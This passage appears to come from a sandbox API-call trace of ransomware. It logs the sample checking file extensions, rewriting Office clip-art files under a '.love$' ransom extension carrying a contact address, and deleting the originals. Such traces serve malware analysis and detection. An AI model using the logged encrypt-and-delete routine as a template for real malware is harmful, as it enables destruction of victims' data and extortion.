lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.366] SetEndOfFile (hFile=0x304) returned 1 [0256.366] CloseHandle (hObject=0x304) returned 1 [0256.366] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.366] SetEndOfFile (hFile=0x3c4) returned 1 [0256.370] CloseHandle (hObject=0x3c4) returned 1 [0256.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.372] lstrlenW (lpString=".doc") returned 4 [0256.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.372] lstrlenW (lpString=".docx") returned 5 [0256.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.372] lstrlenW (lpString=".pdf") returned 4 [0256.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.372] lstrlenW (lpString=".xls") returned 4 [0256.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.372] lstrlenW (lpString=".xlsx") returned 5 [0256.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.372] lstrlenW (lpString=".ppt") returned 4 [0256.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.372] lstrlenW (lpString=".zip") returned 4 [0256.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.372] lstrlenW (lpString=".rar") returned 4 [0256.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.372] lstrlenW (lpString=".bz2") returned 4 [0256.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.372] lstrlenW (lpString=".7z") returned 3 [0256.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.372] lstrlenW (lpString=".dbf") returned 4 [0256.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString=".1cd") returned 4 [0256.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString=".jpg") returned 4 [0256.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString=".doc") returned 4 [0256.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString=".docx") returned 5 [0256.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.373] lstrlenW (lpString=".pdf") returned 4 [0256.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString=".xls") returned 4 [0256.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.373] lstrlenW (lpString=".xlsx") returned 5 [0256.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.373] lstrlenW (lpString=".ppt") returned 4 [0256.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString=".zip") returned 4 [0256.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.373] lstrlenW (lpString=".rar") returned 4 [0256.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString=".bz2") returned 4 [0256.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.373] lstrlenW (lpString=".7z") returned 3 [0256.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.373] lstrlenW (lpString=".dbf") returned 4 [0256.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.374] lstrlenW (lpString=".1cd") returned 4 [0256.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0256.374] lstrlenW (lpString=".jpg") returned 4 [0256.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.374] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.374] lstrlenW (lpString="HH00601_.WMF") returned 12 [0256.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.375] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1468) returned 1 [0256.375] CloseHandle (hObject=0x3c4) returned 1 [0256.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0256.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.376] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.376] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.377] GetLastError () returned 0x0 [0256.377] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0256.379] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0256.380] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.380] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.380] SetEndOfFile (hFile=0x304) returned 1 [0256.380] CloseHandle (hObject=0x304) returned 1 [0256.380] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.380] SetEndOfFile (hFile=0x3c4) returned 1 [0256.744] CloseHandle (hObject=0x3c4) returned 1 [0256.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0256.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.747] lstrlenW (lpString=".doc") returned 4 [0256.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.747] lstrlenW (lpString=".docx") returned 5 [0256.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.747] lstrlenW (lpString=".pdf") returned 4 [0256.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.747] lstrlenW (lpString=".xls") returned 4 [0256.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.747] lstrlenW (lpString=".xlsx") returned 5 [0256.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.747] lstrlenW (lpString=".ppt") returned 4 [0256.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.747] lstrlenW (lpString=".zip") returned 4 [0256.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.747] lstrlenW (lpString=".rar") returned 4 [0256.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString=".bz2") returned 4 [0256.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString=".7z") returned 3 [0256.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.748] lstrlenW (lpString=".dbf") returned 4 [0256.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.748] lstrlenW (lpString=".1cd") returned 4 [0256.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.748] lstrlenW (lpString=".jpg") returned 4 [0256.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.748] lstrlenW (lpString=".doc") returned 4 [0256.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString=".docx") returned 5 [0256.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.748] lstrlenW (lpString=".pdf") returned 4 [0256.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.748] lstrlenW (lpString=".xls") returned 4 [0256.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.748] lstrlenW (lpString=".xlsx") returned 5 [0256.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.748] lstrlenW (lpString=".ppt") returned 4 [0256.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.749] lstrlenW (lpString=".zip") returned 4 [0256.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.749] lstrlenW (lpString=".rar") returned 4 [0256.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString=".bz2") returned 4 [0256.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString=".7z") returned 3 [0256.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.749] lstrlenW (lpString=".dbf") returned 4 [0256.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.749] lstrlenW (lpString=".1cd") returned 4 [0256.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0256.749] lstrlenW (lpString=".jpg") returned 4 [0256.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.749] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.749] lstrlenW (lpString="HH00669_.WMF") returned 12 [0256.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.751] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11490) returned 1 [0256.751] CloseHandle (hObject=0x3c4) returned 1 [0256.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0256.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.752] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.752] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0256.753] GetLastError () returned 0x0 [0256.753] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0256.836] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0256.837] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.837] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.838] SetEndOfFile (hFile=0x538) returned 1 [0256.838] CloseHandle (hObject=0x538) returned 1 [0256.838] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.838] SetEndOfFile (hFile=0x3c4) returned 1 [0256.841] CloseHandle (hObject=0x3c4) returned 1 [0256.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0256.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.843] lstrlenW (lpString=".doc") returned 4 [0256.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.843] lstrlenW (lpString=".docx") returned 5 [0256.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.843] lstrlenW (lpString=".pdf") returned 4 [0256.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.843] lstrlenW (lpString=".xls") returned 4 [0256.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.843] lstrlenW (lpString=".xlsx") returned 5 [0256.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.843] lstrlenW (lpString=".ppt") returned 4 [0256.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.843] lstrlenW (lpString=".zip") returned 4 [0256.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.844] lstrlenW (lpString=".rar") returned 4 [0256.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString=".bz2") returned 4 [0256.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString=".7z") returned 3 [0256.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.844] lstrlenW (lpString=".dbf") returned 4 [0256.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.844] lstrlenW (lpString=".1cd") returned 4 [0256.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.844] lstrlenW (lpString=".jpg") returned 4 [0256.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.844] lstrlenW (lpString=".doc") returned 4 [0256.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString=".docx") returned 5 [0256.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.844] lstrlenW (lpString=".pdf") returned 4 [0256.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.844] lstrlenW (lpString=".xls") returned 4 [0256.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.844] lstrlenW (lpString=".xlsx") returned 5 [0256.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.844] lstrlenW (lpString=".ppt") returned 4 [0256.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.845] lstrlenW (lpString=".zip") returned 4 [0256.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.845] lstrlenW (lpString=".rar") returned 4 [0256.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.845] lstrlenW (lpString=".bz2") returned 4 [0256.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.845] lstrlenW (lpString=".7z") returned 3 [0256.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.845] lstrlenW (lpString=".dbf") returned 4 [0256.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.845] lstrlenW (lpString=".1cd") returned 4 [0256.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0256.845] lstrlenW (lpString=".jpg") returned 4 [0256.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.845] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.846] lstrlenW (lpString="HH00687_.WMF") returned 12 [0256.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.847] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4340) returned 1 [0256.847] CloseHandle (hObject=0x3c4) returned 1 [0256.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0256.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.848] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.848] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0256.850] GetLastError () returned 0x0 [0256.850] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0256.867] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1100, lpOverlapped=0x0) returned 1 [0256.868] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.868] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.868] SetEndOfFile (hFile=0x538) returned 1 [0256.875] CloseHandle (hObject=0x538) returned 1 [0256.877] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.877] SetEndOfFile (hFile=0x3c4) returned 1 